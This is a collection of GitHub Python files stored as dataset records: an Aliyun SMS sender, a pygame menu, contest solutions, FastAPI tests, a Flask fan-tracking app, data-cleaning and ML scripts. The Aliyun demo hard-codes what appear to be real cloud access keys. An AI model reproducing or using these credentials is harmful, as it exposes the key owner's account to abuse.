unnecessary sync, but in exchange we avoid the complexity and\n potential race conditions of trying to determine whether a sync is\n necessary.\n \"\"\"\n dst_ref = SecretRef.from_meta(meta)\n if event[\"type\"] == \"DELETED\":\n logger.warning(f\"Watched secret deleted: {dst_ref}\")\n return\n for src_ref in _destination_map.get(dst_ref, set()):\n src_secret = src_ref.get(logger)\n if src_secret is not None:\n copy_secret_data(src_secret, logger)\n","repo_name":"praekeltfoundation/secret-sync-controller","sub_path":"src/secret_sync/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":6172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18732152639","text":"from aliyunsdkcore.client import AcsClient\nfrom aliyunsdkcore.request import CommonRequest\n\n\ndef alidayu(telephone, captcha):\n client = AcsClient('LTAI1xbBJ5n1iWSW', 'wUXxTEP1zzKawWoVgwYsUCKSZExqQ1', 'cn-hangzhou')\n\n request = CommonRequest()\n request.set_accept_format('json')\n request.set_domain('dysmsapi.aliyuncs.com')\n request.set_method('POST')\n request.set_protocol_type('https') # https | http\n request.set_version('2017-05-25')\n request.set_action_name('SendSms')\n\n request.add_query_param('RegionId', \"cn-hangzhou\")\n request.add_query_param('PhoneNumbers', telephone)\n request.add_query_param('SignName', \"zlbbs论坛\")\n request.add_query_param('TemplateCode', \"SMS_166665344\")\n request.add_query_param('TemplateParam', {\"code\": captcha})\n\n response = client.do_action_with_exception(request)\n # response = client.do_action(request)\n # python2: print(response)\n print(str(response, encoding='utf-8'))\n return response\n\n# alidayu(\"13309567820\",\"1234\")","repo_name":"v1struggler/BBS_Flask","sub_path":"utils/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1445125809","text":"class StartScreen:\n def __init__(self):\n pass\n\n def init_ui(self):\n self.res_lbl = Button(20, 'left', 20, 'up', 'tooltip', scale=3)\n self.res_lbl.set_text('Res: (1234, 5678)', 80)\n self.res_lbl.set_text_rect(0, 'center', 0, 'center')\n\n self.fs_lbl = Button(20, 'left', 20 + self.res_lbl.rect.height, 'up', 'tooltip', scale=3)\n self.fs_lbl.set_text('Fullscreen ON', 80)\n self.fs_lbl.set_text_rect(0, 'center', 0, 'center')\n\n self.res_1 = Button(0, 'center', 75,\n 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.res_1.set_text('1280x720', 80)\n self.res_1.set_text_rect(0, 'center', 0, 'center')\n\n self.res_2 = Button(0, 'center', 80 + self.res_1.rect.height, 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.res_2.set_text('1366x768', 80)\n self.res_2.set_text_rect(0, 'center', 0, 'center')\n\n self.res_3 = Button(0, 'center', 85 + 2 * self.res_1.rect.height, 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.res_3.set_text('1920x1080', 80)\n self.res_3.set_text_rect(0, 'center', 0, 'center')\n\n self.fs = Button(0, 'center', 90 + 3 * self.res_1.rect.height, 'up', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.fs.set_text('Fullscreen ON', 80)\n self.fs.set_text_rect(0, 'center', 0, 'center')\n\n self.go = Button(10, 'right', 10, 'bottom', 'ui_button', 'ui_button_h', 'ui_button_p', 2)\n self.go.set_text('PLAY', 80)\n self.go.set_text_rect(0, 'center', 0, 'center')\n\n Globals.ui.add(self.res_lbl, self.fs_lbl, self.res_1, self.res_2, self.res_3, self.fs, self.go)\n\n def on_load(self):\n iml = ImageLoader('sprites/')\n Globals.images.update(iml.load([('background', 'background_menu.png'),\n ('ui_button', 'ui_menubutton.png'),\n ('ui_button_h', 'ui_menubutton_h.png'),\n ('ui_button_p', 'ui_menubutton_p.png'),\n ('tooltip', 'ui_tooltip.png')]))\n\n @staticmethod\n def save_settings(resolution, fullscreen):\n with open('Constants.py', 'r', encoding='utf-8') as file:\n file_data = file.readlines()\n for ind, line in enumerate(file_data):\n if line.rstrip().startswith('SCR_W'):\n file_data[ind] = 'SCR_W = {}\\n'.format(resolution[0])\n elif line.rstrip().startswith('SCR_H'):\n file_data[ind] = 'SCR_H = {}\\n'.format(resolution[1])\n elif line.rstrip().startswith('FULLSCREEN'):\n if fullscreen:\n file_data[ind] = 'FULLSCREEN = True\\n'\n else:\n file_data[ind] = 'FULLSCREEN = False\\n'\n\n with open('Constants.py', 'w', encoding='utf-8') as file:\n file.write(''.join(file_data))\n\n def run(self):\n self.on_load()\n self.init_ui()\n pygame.display.set_caption('Artillery Simulator: settings')\n\n scr_res = (1280, 720)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n\n fullsceen = False\n self.fs.set_text('Fullscreen OFF')\n self.fs_lbl.set_text('Fullscreen OFF')\n\n running = True\n while running:\n Globals.screen.fill((0, 0, 0))\n\n Globals.input.update()\n Globals.ui.update()\n if Globals.input.quit:\n running = False\n if pygame.K_ESCAPE in Globals.input.k_pressed:\n running = False\n\n if self.fs.doing_action:\n fullsceen = not fullsceen\n if fullsceen:\n self.fs.set_text('Fullscreen ON')\n self.fs_lbl.set_text('Fullscreen ON')\n else:\n self.fs.set_text('Fullscreen OFF')\n self.fs_lbl.set_text('Fullscreen OFF')\n\n if self.res_1.doing_action:\n scr_res = (1280, 720)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n elif self.res_2.doing_action:\n scr_res = (1366, 768)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n elif self.res_3.doing_action:\n scr_res = (1920, 1080)\n self.res_lbl.set_text('Res: ({}, {})'.format(*scr_res))\n\n if self.go.doing_action:\n self.save_settings(scr_res, fullsceen)\n return 1\n\n Globals.ui.draw(Globals.screen)\n\n pygame.display.update()\n Globals.clock.tick(20)\n return 0\n\nif __name__ == '__main__':\n StartScreen().save_settings((600, 300), False)\n import pygame, subprocess, os\n from GlobalVariables import Globals\n from Engine.ImageLoader import ImageLoader\n from UI.Button import Button\n\n pygame.init()\n sc = StartScreen()\n exit_code = sc.run()\n pygame.quit()\n if exit_code == 0:\n exit(0)\n else:\n try:\n if os.name == 'nt':\n game = subprocess.Popen('ArtillerySimulator.bat')\n else:\n game = subprocess.Popen(['$nohup', 'GameMain.pyw &'])\n except Exception as e:\n with open('_ERROR_.txt', 'w', encoding='utf-8') as file:\n file.write('Some error occured when trying to lauch GameMain.pyw\\n')\n file.write('Ask developers for help\\n')\n file.write('Error args: %s' % str(e.args))","repo_name":"prokhn/ArtillerySimulator","sub_path":"ArtillerySimulator Project/StartScreen.pyw","file_name":"StartScreen.pyw","file_ext":"pyw","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"44095707965","text":"\n#C7_v2.py\n\"\"\"\nSo we have to create two sets \nMUL = {a/p, b/q, c/r}\nADD = {a-p, b-q, c-r}\n\"\"\"\nimport sys\ntest_cases = int(sys.stdin.readline())\nfor i_iter in range(test_cases):\n\tpqr = list(sys.stdin.readline().split())\n\tp = int(pqr[0])\n\tq = int(pqr[1])\n\tr = int(pqr[2])\n\tabc = list(sys.stdin.readline().split())\n\ta = int(abc[0])\n\tb = int(abc[1])\n\tc = int(abc[2])\n\t#print(p,q,r,a,b,c)\n\t#there are three solutions 1, 2 or 3\n\t#there are two ways either we can multiply or add\n\t#here ap means a-p\n\t#here AP means pa\n\tap = a - p\n\tbq = b - q\n\tcr = c - r\n\tif p:\n\t\tAP = a / p\n\telse:\n\t\tAP = None\n\tif q:\n\t\tBQ = b / q\n\telse:\n\t\tBQ = None\n\tif r:\n\t\tCR = c / r\n\telse:\n\t\tCR = None\nMUL = [AP, BQ, CR]\nADD = [ap, bq, cr]\n","repo_name":"PrajjwalDatir/CodeChefJune20","sub_path":"C7_v2.py","file_name":"C7_v2.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15717972555","text":"from datetime import datetime, timedelta\nfrom fastapi import FastAPI\nfrom fastapi.testclient import TestClient\nfrom main import app\n\nclient = TestClient(app)\n\ndef test_all_stations():\n response = client.get(\"/stations/\")\n assert response.status_code == 200, f\"Query to '/stations' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/stations' was empty\"\n\ndef test_station_by_id():\n validStationId = 1\n response = client.get(f\"/station/{validStationId}\")\n assert response.status_code == 200, f\"Query to '/station/stationId' with a supposed valid value returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/station/stationId' was empty\"\n\n invalidStationId = -1\n response = client.get(f\"/station/{invalidStationId}\")\n assert response.status_code == 404, f\"Query to '/station/stationId' with a supposed invalid value returned code {response.status_code}\" \n\ndef test_measurements_unbounded():\n machineId = 427712\n response = client.get(f\"/measurements/\", params={\"machine_id\": machineId})\n assert response.status_code == 200, f\"Query to '/measurements/' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/measurements/' was empty\"\n\n\ndef test_measurements_bounded():\n machineId = 427038\n start_date = \"2021-11-07 23:56:00\"\n end_date = \"2021-11-07 23:59:59\"\n response = client.get(f\"/measurements/\", params={\"machine_id\": machineId, \"start_date\": start_date, \"end_date\":end_date})\n assert response.status_code == 200, f\"Query to '/measurements/' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/measurements/' was empty\" \n assert len(response.json()) == 3, f\"Response from querying '/measurements/' for a known id and timerange returned an unexpected amount of data\" \n\n\ndef test_all_machines():\n response = client.get(\"/machines/\")\n assert response.status_code == 200, f\"Query to '/machines' returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/machines' was empty\"\n\ndef test_machine_by_id():\n validMachineId = 427038\n response = client.get(f\"/machine/{validMachineId}\")\n assert response.status_code == 200, f\"Query to '/machine/machineId' with a supposed valid value returned code {response.status_code}\"\n assert response.json() != {}, f\"Response from querying '/machine/machineId' was empty\"\n\n invalidMachineId = -999999\n response = client.get(f\"/machine/{invalidMachineId}\")\n assert response.status_code == 404, f\"Query to '/machine/machineId' with a supposed invalid value returned code {response.status_code}\" \n\n\nif __name__ == \"__main__\":\n # Run some tests on the station endpoints\n test_all_stations()\n test_station_by_id() \n \n # Run some tests on the measurements endpoints\n test_measurements_unbounded()\n test_measurements_bounded()\n \n # Run some tests on the machine endpoints\n test_all_machines()\n test_machine_by_id()\n\n # If all tests pass, we should be able to print (rudimentary, but works)\n print(\"All good in the hood!\")","repo_name":"sgprinc/FastAPI-Backend","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22211872077","text":"class Solution:\n def breakPalindrome(self, palindrome: str) -> str:\n n = len(palindrome)\n if n == 1:\n return \"\"\n\t\t# this line is here so that we can replace character\n\t\t# because in python string is immutable\n s = list(palindrome)\n \n\t\t# we set idx to -1 to check if the string was all a's.\n idx = -1\n for i in range(len(s)):\n if s[i] != 'a' and i != len(s) // 2:\n idx = i\n\t\t\t\t# if we found our character we don't need to loop anymore.\n break\n \n s[idx] = 'b' if idx == -1 else 'a'\n return ''.join(s)","repo_name":"AyushSingh-github/Leetcode","sub_path":"1328-break-a-palindrome/1328-break-a-palindrome.py","file_name":"1328-break-a-palindrome.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"14131929773","text":"from sknn.mlp import Regressor, Layer\nimport numpy as np\nnp.set_printoptions(threshold=100000)\nimport pickle\nimport os\nimport sys\nimport time\nfrom sknn.platform import cpu64, threading\n\nos.chdir('/Users/Thomas/git/thesis/')\n\ndata = np.loadtxt('imgstate.txt', delimiter=' ')\n\nX = data[:,0:224]\nY = data[:,225][np.newaxis].T\n\nif 'params' in locals():\n\tparams = params\nelse:\n\tparams = None\n\ndef neural(X, Y, params=None):\n\tnn = Regressor(\n\t\tlayers=[\n\t\t Layer(\"Rectifier\", units=200),\n\t\t Layer(\"Sigmoid\", units=200),\n\t\t Layer(\"Rectifier\", units=200),\n\t\t Layer(\"Sigmoid\", units=200),\n\t\t Layer(\"Sigmoid\")],\n\t\tlearning_rate=0.001,\n\t\tn_iter=100,\n\t\tparameters=params,\n\t\tlearning_rule='sgd',\n\t\tf_stable=0.001,\n\t\tvalid_size=.2,\n\t\tverbose=True,\n\t\tn_stable=3)\n\n\treturn nn.fit(X, Y)\n\nnn1 = neural(X, Y)\n\n#model in pkl\npickle.dump(nn1, open('nn.pkl', 'wb'))\nneural_loaded = pickle.load(open('nn.pkl', 'rb'))\nneural_loaded.predict(X)\nparams = neural_loaded.get_parameters()\n\n#after loop\nnn2 = neural(X, Y, params)\n\n\n\n\n\n\n\n\n\n\n\n#params in csv\n#params = neural.get_parameters()\n#wr = csv.writer(open('params.csv', 'wb'), quoting=csv.QUOTE_ALL)\n#wr.writerow(params)\n#f = csv.reader(codecs.open('params.csv', 'rU'))\n#import pandas as pd\n#data = pd.read_csv('params.csv')\n#with open('params.csv', 'rb') as f:\n# reader = csv.reader(f)\n\n\n\n#pred = neural.predict(x)\n#print np.hstack((pred, y))\n#print abs(pred - y).mean()","repo_name":"totovivi/thesis","sub_path":"SKNN.py","file_name":"SKNN.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31625427478","text":"# a,b = map(int,input().split())\n# a = list(map(int,input().split()))\n# a = [list(map(int,input().split())) for _ in range(n)]\n\nimport sys\nimport os\nf = open('../../input.txt', 'r')\nsys.stdin = f\n\nn,k = map(int,input().split())\nh = list(map(int,input().split()))\n\nif(n==k):\n print(0)\n exit()\n\ndef calc(h_ind):\n hlen = len(h_ind)\n ans = h[h_ind[0]]\n for i in range(1,hlen):\n ans += max(h[h_ind[i]]-h[h_ind[i-1]], 0)\n\n return ans\n\ninf = 10**9 * (n+1)\ndp = [[inf] * (n-k+1) for _ in range(n+1)]\ndp_element = []\nfor i in range(n+1):\n tmp = [[] for _ in range(n-k+1)]\n dp_element.append(tmp)\ndp[0][0] = 0\n\nfor i in range(1,n+1):\n for j in range(1,n-k+1):\n # print('{} {}'.format(i,j))\n h_ind = dp_element[i-1][j-1][::]\n if(len(h_ind) != j-1):\n continue\n h_ind.append(i-1)\n tmp = calc(h_ind)\n if( dp[i-1][j] < tmp):\n dp[i][j] = dp[i-1][j]\n dp_element[i][j] = dp_element[i-1][j][::]\n elif(dp[i-1][j] == tmp):\n h_ind_b = dp_element[i-1][j][-1]\n h_ind_n = h_ind[-1]\n if(h[h_ind_b] < h[h_ind_n]):\n dp[i][j] = dp[i-1][j]\n dp_element[i][j] = dp_element[i-1][j][::]\n else:\n dp[i][j] = tmp\n dp_element[i][j] = h_ind[::]\n\n else:\n dp[i][j] = tmp\n dp_element[i][j] = h_ind[::]\n\nprint(dp[-1][-1])\n# for i in dp_element:\n# print(i)\n","repo_name":"komajun365/competitive_programming","sub_path":"abc/abc145/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"188917333","text":"#!/usr/bin/env python\n#from multiprocessing import Process\nimport time\nimport cv2\nimport serial\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nfrom flask import Flask, render_template, jsonify, request, Response\nfrom py.detector import DetectorAPI\n\ntf.disable_v2_behavior()\napp = Flask(__name__)\n\nglobal odapi\nglobal engaged\n# global ser\nglobal feed\nglobal serialOn\n\nserialOn = False\nengaged = True\nMODEL_FOLDER = 'resources/'\n# MODEL_NAME = './ssd_mobilenet_v3_large_coco_2020_01_14'\nmodel_path = MODEL_FOLDER+'/frozen_inference_graph.pb'\n\nodapi = DetectorAPI(path_to_ckpt=model_path)\n\nif serialOn:\n ser = serial.Serial()\n ser.baudrate = 9600\n ser.port = 'COM4'\n ser.open()\n if ser.is_open:\n print(\"serial connection initiated!\")\n else:\n print(\"serial connection failed!\")\n\ncam_no = 0\nfeed = cv2.VideoCapture(cam_no)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route(\"/engageSwitch\", methods=['POST'])\ndef engageSwitch():\n print(request.get_json())\n global engaged\n if request.method == 'POST':\n engaged = not engaged\n message = {'message': 'Switched!'}\n return jsonify(message)\n\n\n@app.route(\"/left\", methods=['GET'])\ndef left():\n global engaged, serialOn\n if request.method == 'GET' and not engaged and serialOn:\n message = {'message': 'Moved Left!'}\n shift_left();\n return jsonify(message)\n\n\n@app.route(\"/right\", methods=['GET'])\ndef right():\n global engaged, serialOn\n if request.method == 'GET' and not engaged and serialOn:\n message = {'message': 'Moved Right!'}\n shift_right();\n return jsonify(message)\n\n@app.route(\"/video_feed\")\ndef video_feed():\n\treturn Response(run_fan(),\n mimetype=\"multipart/x-mixed-replace; boundary=frame\")\n\n\ndef shift_left():\n global serialOn\n if serialOn:\n global ser\n ser.write(\"l01\\n\".encode())\n\n\ndef shift_right():\n global serialOn\n if serialOn:\n global ser\n ser.write(\"r01\\n\".encode())\n\n\ndef run_fan():\n global odapi\n global feed\n global engaged\n global serialOn\n if serialOn:\n global ser\n\n threshold = 0.6\n shift = (0, 0)\n prev_pos = (0, 0)\n current_pos = (0, 0)\n vel_check = False\n while True:\n r, img = feed.read()\n # img = cv2.resize(img, (1280, 720))\n height, width, channels = img.shape\n # img = cv2.resize(img, (width//4, height//4))\n # width, height = width//4, height//4\n boxes, scores, classes, num = odapi.processFrame(img)\n\n # Visualization of the results of a detection.\n if engaged:\n for i in range(len(boxes)):\n # Class 1 represents human\n if classes[i] == 1 and scores[i] > threshold:\n box = boxes[i]\n center = ((box[1]+box[3])//2, (box[0]+box[2])//2)\n # print(center)\n radius = 50*(abs(box[1]-box[3]) + abs(box[0]-box[2]))//width\n # print(radius)\n cv2.circle(img, center, radius, (0, 0, 255), -1)\n if vel_check:\n prev_pos = (width//2, height//2)\n calc_pos = center\n shift = (calc_pos[0]-prev_pos[0],\n calc_pos[1]-prev_pos[1])\n \n if shift[0] > 0:\n if 100*abs(shift[0]/width) > 20:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted right by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"r10\\n\".encode())\n if 100*abs(shift[0]/width) > 10:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted right by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"r03\\n\".encode())\n elif 100*abs(shift[0]/width) > 2:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted left by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"r01\\n\".encode())\n elif shift[0] < 0:\n if 100*abs(shift[0]/width) > 20:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted right by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"l10\\n\".encode())\n if 100*abs(shift[0]/width) > 10:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted left by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"l03\\n\".encode())\n elif 100*abs(shift[0]/width) > 2:\n prev_pos = current_pos\n cv2.circle(img, prev_pos, 5, (255, 0, 0), -1)\n current_pos = center\n # print(\"human shifted left by\",\n # 100*abs(shift[0]/width), \"%\")\n if serialOn:\n ser.write(\"l01\\n\".encode())\n else:\n prev_pos = center\n current_pos = center\n vel_check = True\n\n # cv2.imshow(\"preview\", img)\n r, encoded = cv2.imencode(\".jpg\", img)\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n bytearray(encoded) + b'\\r\\n')\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True)\n","repo_name":"itsfeas/human-tracking-fan","sub_path":"web-app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39892324784","text":"\"\"\"Простые делители числа 13195 - это 5, 7, 13 и 29.\n\nКаков самый большой делитель числа 600851475143, являющийся простым числом?\"\"\"\nnumber = 600851475143\ndivider = 2\nwhile divider != number:\n\tif number % divider == 0:\n\t\tnumber = number / divider\n\telse:\n\t\tdivider = divider + 1\nprint(int(number))\n","repo_name":"MikhailGusarov/ProjectEuler","sub_path":"Problem 3.py","file_name":"Problem 3.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19752318998","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 22 19:11:19 2022\r\n\r\n@author: leola\r\n\"\"\"\r\n\r\nimport pandas as pd\r\n\r\n#file_name = pd.read_csv(\"file.csv\") <---- format\r\n\r\ndata = pd.read_csv(\"transaction.csv\")\r\n\r\ndata = pd.read_csv(\"transaction.csv\" ,sep=\";\")\r\n\r\n#summary of the data\r\ndata.info()\r\n\r\n\r\n#working with calculation\r\n# Defining Variables\r\n\r\n#costperitem = 11.73\r\n\r\n#sellingpriceperitem = 21.11\r\n#numberofitemspurchased = 6\r\n\r\n#matematical operations \r\n\r\n#profifperitem = 21.11 -11.73\r\n\r\n\r\ncostperitem = data[\"CostPerItem\"]\r\nNumberOfItemsPurchased = data[\"NumberOfItemsPurchased\"]\r\n\r\ncostpertransaction = NumberOfItemsPurchased*costperitem\r\n\r\n#adding column to dataframe\r\n\r\ndata[\"costpertransaction\"] = costpertransaction\r\n\r\n#Sales per tranasaciotn\r\n\r\n\r\ndata[\"SalesPerTransaction\"] = data[\"SellingPricePerItem\"] *data[\"NumberOfItemsPurchased\"]\r\n\r\n\r\ndata[\"ProfitPerTransaction\"] = data[\"SalesPerTransaction\"] - data[\"costpertransaction\"]\r\n\r\ndata[\"Markup\"] =( data[\"SalesPerTransaction\"] - data[\"costpertransaction\"])/data[\"costpertransaction\"]\r\n\r\ndata[\"Markup\"] = round(data[\"Markup\"], 2)\r\n\r\n#combining data fields\r\n\r\nmy_date = data[\"Day\"].astype(str)+\"-\"+data[\"Month\"]+\"-\"+data[\"Year\"].astype(str)\r\n\r\ndata[\"my_date\"] = my_date\r\n\r\n#use iloc to viewspefic columns/row\r\n\r\ndata.iloc[0]\r\n\r\n#new_var = colum.str.split('sep',expand=True)\r\n\r\nsplit_col = data['ClientKeywords'].str.split(',', expand=True)\r\n\r\n#create new columns\r\ndata['ClientAge']=split_col[0]\r\ndata['ClientType']=split_col[1]\r\ndata['LengthofContract']=split_col[2]\r\n#use the replace function\r\n\r\ndata['ClientAge'] = data['ClientAge'].str.replace('[','')\r\n\r\ndata['LengthofContract'] = data['LengthofContract'].str.replace(']','')\r\n\r\n#use lower function\r\ndata['ItemDescription'] = data['ItemDescription'].str.lower()\r\n\r\n# Merge files\r\n# Bring in a new dataset\r\n\r\n\r\n\r\n\r\nseasons = pd.read_csv(\"value_inc_seasons.csv\" ,sep=\";\")\r\n\r\n\r\n# merge files: merge_df = pd.merge(df_old, df_new, on = 'key')\r\n\r\ndata = pd.merge(data, seasons, on = 'Month')\r\n\r\n#dropping columns\r\ndata = data.drop('Day', axis= 1)\r\n\r\ndata = data.drop(['Year','Month'], axis= 1)\r\n\r\n#export to csv\r\n\r\ndata.to_csv('ValueInc_Cleaned.csv', index=False)","repo_name":"leoqzv/PythonAndTableau","sub_path":"valueinc_sales.py","file_name":"valueinc_sales.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6425012476","text":"import openai\n\ndef chatWithGPT(product_id, product_url, max_tokens=50):\n prompt = (\n f\"Product ID: {product_id}\\n\"\n f\"Product URL: {product_url}\"\n )\n\n real_prompt = (\n f\"{prompt}\\n\"\n \"I have provided an outfit item information. I want you to return \"\n \"the clothing properties: name,short description, color and product ID. \"\n \"Then, suggest the occasion you think this clothing can be worn and vibes for these items using few words. \"\n \"Return your results in a single line for every item I provided.\"\n )\n\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant that provides information about outfits.\"},\n {\"role\": \"user\", \"content\": real_prompt},\n ],\n max_tokens=max_tokens, # Limit the response to a certain number of tokens\n )\n\n assistant_response = response.choices[0].message[\"content\"]\n return assistant_response\n","repo_name":"BisiOlaYemi/ai","sub_path":"gpt.py","file_name":"gpt.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12033498493","text":"# -*- coding: utf-8 -*-\nfrom astroquery.jplhorizons import Horizons\nfrom pre_task import date_checker, location_checker\nfrom post_task import find_oppositions, airmass_limit, plotter\nfrom pathlib import Path\n\nimport pandas as pd\n\nimport warnings\nimport os\n\n\n\n\"\"\"\nProgram takes ID number for targets in JPL horizons and determines at what dates\nthose targets will be at opposiion (i.e. when they'll be at their brightest \napparent magnitude). \nThis aids in determining when those objects will be the eiseist to observe, it's \nparticularly handy for dim asteroids. \n\n\nInput:\n Individual text inputs or a text document with a single column of object\n ID numbers is excepted. The text document must be stored in the current \n working directory of this program. \n \n All other inputs are controlled through text and questions in command line.\n\nOutput:\n The program will output a file titled oppositions.csv containing dates of \n local minimum magnitude that are brighter than the minimuim magnitude cut \n off. \n \n If save plot it (y) then a folder titled 'plots' will be created in the \n current working directory and .png images of magnitude v date will be \n saved for each object parsed. \n WARNING: Saving plots will add time and will take up much more storage, \n it is not recommended to save plots with thousands of asteroids.\n\nNOTE: A few files are required to be included with this program for it to \nfunction properly. A directory titled \"support_files\" containing pre_tasks.py\nand post_task.py is required. These are python modules taken out of the main \ncode to keep the program 'neater'. \n A list of observatory codes must also be included. This is a text document\ntitled 'loc_ids.tx'. This must be included unless the location input cannot \nbe checked for approval. \n\n_____________________________________________________________________________\n# List of Ephemeris columns to use in final ==================================\n \n (eph['targetname',\n 'datetime_str',\n 'V',\n 'delta', \n 'delta_rate',\n 'alpha_true'\n 'RA',\n 'DEC',\n 'airmass'\n ])\n_______________________Dictionary of column output names______________________\n { \n 'targetname':'Target Name',\n 'datetime_str':'Date-Time (Date__(UT)HR:MN)',\n 'V':'V (mag)',\n 'RA':'RA (deg)',\n 'DEC':'DEC (deg)',\n 'delta':'delta (AU)',\n 'alpha_true':'True Phase Angle (deg)',\n 'airmass' : 'airmass'\n }\n \n =============================================================================\nAuthored by Justin Germann (MS* Space Studies University of North Dakota)\n -- 701-206-0395\n -- jusgermann@gmail.com\n\"\"\"\n\n\ndef main():\n \"\"\" \n Main module handles the inputs from the user and setting up the basic\n variables.\n \"\"\"\n \n print('__________________________________________________________________')\n print('__________________________________________________________________')\n \n # Turn off a warning that is not helpful.\n pd.set_option('chained_assignment', None)\n warnings.simplefilter(action='ignore', category=FutureWarning)\n \n # Makes inputs global so other functions can access.\n global target_list # check if this is required.\n global location\n global start_date\n global stop_date\n global step_size\n global min_mag\n global column_names\n global save_plot\n global airmass_q\n global airmass_lim\n global skip_day\n\n \n # Creating empty DF for appending too.\n column_names = ['targetname',\n 'datetime_str',\n 'V',\n 'delta',\n 'alpha_true',\n 'RA',\n 'DEC',\n 'airmass'\n ]\n \n # For Formating\n print_break = \"___________________________\\n\"\n print('Finding oppositions for Multiple objects (m) or a Single object (s)?')\n \n # Question for single or multiple objects\n while True:\n multiple_q = input('Input m or s: ')\n try:\n mul_q_fir = multiple_q[0].lower() \n\n if mul_q_fir == 'm':\n break\n if mul_q_fir == 's':\n break\n else:\n print(\"{}Incorrect Character Input\".format(print_break))\n\n except:\n print('Nothing was inputted, try agian.')\n\n\n # Uses location_checker module to make sure location is valid.\n location = location_checker()\n \n # Feeds to functions to get dates in correct formats\n while True:\n start_date = date_checker('Start')\n stop_date = date_checker('End')\n \n if stop_date == start_date:\n print(\"{}Start and End dates cannot be the same\"\n .format(print_break))\n else:\n break\n \n # Question to collect step size input\n while True:\n step_list = ['s', 'm', 'h', 'd', 'y']\n step_size = input('Step size: (ex: 10d, 3m, 2h): ')\n \n if step_size[-1] in step_list:\n break\n else:\n print('{}Input step unit listed: {}'.format(print_break,step_list))\n \n \n # Question to determine the desired magnitude limit.\n while True:\n min_mag = input('Magnitude Limit: ')\n try:\n min_mag = float(min_mag)\n break\n except:\n print(\"{}Must be integer\".format(print_break))\n \n # make it so you can't limit airmass or daylight when step size > 1 day.\n if step_size[-1] != 'd':\n # Question to determine if limit by airmass is desired.\n while True:\n airmass_q = input(\"\"\"Limit airmass's? y or n: \"\"\")\n if airmass_q[0].lower() == 'y':\n airmass_q = True \n airmass_lim = input(\"Input Airmass Limit: \")\n \n try:\n airmass_lim = float(airmass_lim)\n break\n except:\n print(\"{}Must be integer\".format(print_break))\n else:\n airmass_q = False\n break\n # Question to see if you wish to skip daylight hours.\n while True:\n skip_day = input('Skip Daylight? y or n: ')\n skip_day = skip_day[0].lower() \n if skip_day == 'y':\n break\n if skip_day == 'n':\n break\n else:\n print(\"{}Incorrect Character Input\".format(print_break))\n \n # Creates Variables for skipped days.\n else:\n skip_day = 'n'\n airmass_q = 'n'\n print('\\n--- NOTICE ---')\n print(\"Since 